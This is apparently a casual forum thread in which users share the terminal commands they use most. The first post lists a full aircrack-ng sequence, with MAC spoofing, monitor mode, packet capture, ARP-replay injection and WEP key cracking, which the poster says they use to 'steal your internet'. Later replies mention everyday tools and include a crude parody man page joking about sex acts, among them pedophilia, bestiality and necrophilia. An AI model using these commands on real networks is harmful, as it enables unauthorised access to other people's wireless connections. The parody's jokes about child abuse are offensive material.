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airmon-ng

airmon-ng stop eth1

ifconfig eth1 down

macchanger --mac 00:11:22:33:44:55 eth1

airmon-ng start eth1

airodump-ng eth1

(ctrl-c to stop)

(copy bssid and name and channel)

 

airodump-ng -c (channel) -w test123 --bssid (here) eth1

 

(new shell)

 

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (network name) eth1

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 eth1

 

(new shell)

 

aircrack-ng -n 64 -b (bssid) test123-01.cap

 

 

 

 

thats the list of commands i use to steal your internet

ifconfig (my wireless is cranky)

emacs or vi (depending on my mood). emacs is more idm for sure.

grep and creative piping, with monitoring through pv

  On 5/7/2013 at 11:06 PM, ambermonk said:

I know IDM can be extreme

  On 6/3/2017 at 11:50 PM, ladalaika said:

this sounds like an airplane landing on a minefield

yah top and tail

scripting and symlinks are a big part of what makes ext3/linuxxi/FOSS ftw

Edited by kaini
  On 5/7/2013 at 11:06 PM, ambermonk said:

I know IDM can be extreme

  On 6/3/2017 at 11:50 PM, ladalaika said:

this sounds like an airplane landing on a minefield

  Braintree said:
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What's the command you use the most?

 

"Suck my dick while you spread oatmeal on my ass."

 

i would imagine that command and heavy terminal use are mutually exclusive

Edited by kaini
  On 5/7/2013 at 11:06 PM, ambermonk said:

I know IDM can be extreme

  On 6/3/2017 at 11:50 PM, ladalaika said:

this sounds like an airplane landing on a minefield

My first linux distro was a mandrake(mandriva) 7.2. I was something like 14 at the times, and as a passtime i used to type in "man something" in order to discover new commands. As a 14 years old boy would od i typed in "man sex". here is what i got :

 

  Quote
SEX(6) EUNUCH Programmer's Manual SEX(6)

 

NAME

sex - have sex

 

SYNOPSIS

sex [ options ] ... [ username ] ...

 

DESCRIPTION

sex allows the invoker to have sex with the user(s) speci-

fied in the command line. If no users are specified, they

are taken from the LOVERS environment variable. Options to

make things more interesting are as follows:

 

-1 masturbate

 

-a external stimulus (aphrodisiac) option

 

-b buggery

 

-B

bestiality with

 

-c chocolate sauce option

 

-C chaining option (cuffs included) (see also -m -s -W)

 

-d

get a date with the features described in

 

-e exhibitionism (image sent to all machines on the net)

 

-f foreplay option

 

-F nasal sex with plants

 

-i coitus interruptus (messy!)

 

-j jacuzzi option (California sites only)

 

-l leather option

 

-m masochism (see -s)

 

-M triple parallel (Menage a Trois) option

 

-n necrophilia (if target process is not dead, program

kills it)

 

-o oral option

 

-O parallel access (orgy)

 

-p debug option (proposition only)

 

-P pedophilia (must specify a child process)

 

 

 

Printed 2/15/87 2/15/87 1

 

 

 

 

 

 

SEX(6) EUNUCH Programmer's Manual SEX(6)

 

 

 

-q quickie (wham, bam, thank you, ma'am)

 

-s sadism (target must set -m)

 

-S sundae option

 

-v voyeurism (surveys the entire net)

 

-w whipped cream option

 

-W whips (see also -s, -C, and -m)

 

ENVIRONMENT

LOVERS

is a list of default partners which will be used if

none are specified in the command line. If any are

specified, the values in LOVERS is ignored.

 

FILES

/usr/lib/sex/animals animals for bestiality

 

/usr/lib/sex/blackbook possible dates

 

/usr/lib/sex/sundaes sundae recipes

 

/usr/lib/sex/s&m sado-masochistic equipment

 

SEE ALSO

baby(1)

 

BUGS

^C (quit process) may leave the user very unsatisfied.

 

^Z (stop process) is usually quite messy.

 

MAN AUTHOR

Author prefers to be anonymous.

 

HISTORY

Oldest program ever.

Currently, probably "yaourt" as I'm testing out some stuff and frequently (un)installing packages this weekend.

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